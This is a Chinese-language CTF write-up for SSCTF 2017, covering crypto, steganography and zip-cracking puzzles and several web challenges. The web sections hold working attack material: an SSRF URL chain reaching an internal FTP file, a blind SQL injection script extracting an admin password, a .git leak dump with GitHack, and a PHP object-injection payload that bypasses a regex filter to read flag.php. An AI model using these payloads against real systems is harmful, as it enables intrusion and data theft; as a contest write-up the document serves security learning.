SSCTF2017部分WP

可是有遺憾有驚喜吧!仍是簡單記錄一些東西。

本身作的部分

簽到題

這道題直接給出了一串字符串,直接base64解碼
這裏看到了<span style="color:red;">{}</span>就有一種熟悉的感受!
一開始也沒有頭緒,不過常見的加密方式就那幾種,而且是個簽到題,感受沒這麼麻煩
首先想到的是凱撒移位,由於flag是ssctf{},講道理應該有ssctf的
最後柵欄解密

base64解密
凱撒移位
柵欄解密

撿嗎?

這道題雖然只有100分,可是卻引發了尷尬。。。。
官方提示ssrf,可是內網地址。。。。最後官方受不了直接給了ssrf過程。。。!
主頁是個圖片,右鍵源碼
<img src=" ./news.php?url=127.0.0.1/img.jpg ">

127.0.0.1,已經很明顯了,再根據官方提示,poyloadphp

http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=ftp://172.17.0.2:21/flag.txt

可是這樣提交以後,沒反應,試了試大寫繞過Ftp,讀到flagpython

你知道我在等你麼

直接下載, 我存到了雲盤密碼:pdxn,是一個mp3格式文件,可是打不開,用HxD打開,一看是壓縮包
直接解壓,的到三個文件

mp3-zip

掃描提示的二維碼,<span style="color:red;">神龍擺尾(ps:不是讓你看內容!!!)</span>
有個zip文件是加密的,應該mp3文件含着密碼,因爲前幾天作過一個看波形的題。。。可是沒發現什麼
又想到提示內容,就用HxD打開mp3文件,直接看結尾,能夠的字符串,直接解密,開了。

mp3-2
<span style="color:red;">這個地方,在看大佬wp的時候學到了一個新姿式,linux命令strings,能夠直接導出文件字符串,具體使用能夠百度</span>linux

解壓以後獲得一張圖片,老套路,16進制打開,試着搜索FF D9,能夠從下圖容易看出
後面是個png,扣數據,保存,注意文件頭是壞的,須要修復

coffee

打開以後仍是一個二維碼,掃描是下載一個文本,打開以後。。。。。又是PK。。。。。。。。我。。。。無言以對
這是個僞加密,改圖片處0->1,解壓獲得base64,解碼,還須要url解碼獲得flag
這個300分真的很差拿。。。。。

僞加密

flag在哪裏

打開連接,是個網址,並且下載的是個文件,。。。很使人懷疑啊,爲何還要打開一個網址??
這是我沒提交成flag的那道題,一開始並無思路,次日,學長提示git源碼泄露,纔有了思路
打開數據包,發現就是一些git,./nijiakadaye,的字樣,又搜了搜相關資料
果斷linux,安裝GitHack,並下載源碼
git clone https://github.com/BugScanTeam/GitHack
    cd GitHack
    python GitHack.py http://60.191.205.87/.nijiakadaye/

在網址目錄打開終端,輸入git log -u查看提交歷史
GitHackgit

直接提交{}內容,不對。。。。。繼續往下看,發現了pass.php,直接逆向解密
pass-1github

<?php
function wtf($data,$pwd) {
    $cipher ="";
    $key[] ="";
    $box[] ="";
    $pwd_length = strlen($pwd);
    $data_length = strlen($data);
    for ($i = 0; $i < 256; $i++) {
        $key[$i] = ord($pwd[$i % $pwd_length]);
        $box[$i] = $i;
    }
    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $key[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for ($a = $j = $i = 0; $i < $data_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $k = $box[(($box[$a] + $box[$j]) % 256)];
        $cipher .= chr(ord($data[$i]) ^ $k);
    }
    return $cipher;
}
$a='xsL3HOvFlV+H40s0mhszc5t1x38EU0ZIFJHZ/h2sC3U=';
$decrypt=wtf(base64_decode($a),'ssctf');
echo $decrypt;
?>

pass

看大佬wp復現的部分

咱們的祕密是綠色的

這道題長的姿式也很多的,首先就是題目也要注意,可能會是提示,好比這道,咱們的祕密-OurSecret是這個工具
這個工具解密是須要密碼的,題目提示祕密是綠色,觀察圖片,綠色部分的數字:0405111218192526

綠色
OurSecret

解壓以後是個壓縮包,提示密碼是生日,8位數字爆破

提示
爆破

接下來又是新姿式,明文攻擊(條件具體能夠百度),下面第一張圖片也能夠算是明文攻擊特徵吧,將readme相同方式壓縮,做爲明文文件

特徵
明文攻擊
僞加密

解壓以後又是僞加密。。。。彷佛,充滿了二維碼,爆破密碼,僞加密。。。。。獲得下面的東西,和簽到同樣的手法
qddpqwnpcplen%prqwn_{_zz*d@gq}

CloverSec Logos

首先是盲注,獲得admin密碼,貼上chamd5團隊腳本
import requests
s = requests.session()
ll = "1234567890qwertyuiopasdfghjklzxcvbnm"
username = ""
for j in range(1,32):
    print j
    for i in ll:
        url = 'http://60.191.205.80/picture.php?id=1"%26%26substr((select(passwoorrd)from(user)where(id=1)),'+str(j)+',1)="'+i
        # print url
        # username = ""
        r = s.get(url)
        # print r.text
        if "Picture  not found" not in r.text:
            username = username + i
            print username
            break
而後就是反序列化了,這個題目wp是校內決賽以後加上的。。由於出了一道同樣的反序列化問題
先看代碼部分index.txt和include.txt,這後邊是校內決賽代碼,ssctf彷佛已經關閉了
<?php
echo "<!--index.txt-->";
if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
if($id==0)
  {
      if(isset($_COOKIE['token']))
      {
        $key=$_GET['key'];
        $token =$_COOKIE['token'];
        if(isset($key)&&(file_get_contents($key,'r')==="I want flag!!!"))
        {
          echo "hello Hacker!<br>"; 
          include("include.php");
          echo cumtctf_unserialize($token); 
        }
        else
        {  
          echo "You are not Hacker ! ";  
        }  
      }
  }
?>
<?php 
echo "<!--include.txt-->"; 
class Read{//flag.php
    public $file;
    public function __toString(){

        if(isset($this->file)){
            if("flag.php"===$this->file||stripos($this->file,"://")>-1)
            {
                exit();  
            }
            else
            {
                echo file_get_contents($this->file); 
            }              
        }
        return "you are big Hacker";
    }
}
function cumtctf_unserialize($value)
    {
        preg_match('/[oc]:\d+:/i', $value,$matches);
        if(count($matches)){
            return false;
        }
        return unserialize($value);
    }

?>
首先index.txt中get-id,傳參id=0

而後首先看file_get_contents函數,這裏要求傳入的key=I want flag!!!
這裏咱們可以利用php的<span style="color: red;">封裝協議php://input</span>,他可以獲得POST原始數據,用火狐很方便session

最後就是對token的操做,由include.txt代碼部分能夠知道,能夠反序列化讀取flag.php
可是代碼中 if("flag.php"===$this->file||stripos($this->file,"://")>-1)過濾了flag.php
這裏能夠用./flag.php繞過
preg_match('/[oc]:d+:/i', $value,$matches);利用符號+就不會正則匹配到數字
<span style="color: red;">token=O:+4:"Read":1:{s:4:"file";s:10:"./flag.php";}</span>

最終token=O%3a%2b4%3a%22Read%22%3a1%3a%7bs%3a4%3a%22file%22%3bs%3a10%3a%22.%2fflag.php%22%3b%7d函數

相關文章
相關標籤/搜索